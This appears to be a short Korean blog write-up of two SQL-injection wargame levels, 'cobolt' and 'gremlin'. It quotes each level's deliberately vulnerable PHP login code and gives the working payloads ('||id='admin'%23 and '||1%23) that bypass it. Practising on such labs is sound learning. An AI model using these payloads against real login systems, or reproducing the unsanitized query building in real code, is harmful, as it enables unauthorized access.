query : select id from prob_cobolt where id='' and pw=md5('')

<?php
  
include "./config.php"
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("cobolt");
  elseif(
$result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  
highlight_file(__FILE__); 
?>



if($result['id'] == 'admin'solve("cobolt");

쿼리의 결과로 admin이 나오면 풀리겠네요. md5 어쩌고는 낚시입니다


?id='||id='admin'%23 

payload





query : select id from prob_gremlin where id='' and pw=''

<?php
  
include "./config.php";
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  
if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id']) solve("gremlin");
  
highlight_file(__FILE__);
?>




if($result['id']) solve("gremlin");

이 부분만 통과하면 문제가 풀립니당



 ?id='||1%23 

payload




얘를 다시 풀 일이 있을까요.. 다시 푼다면 쓰겠습니다.

+ Recent posts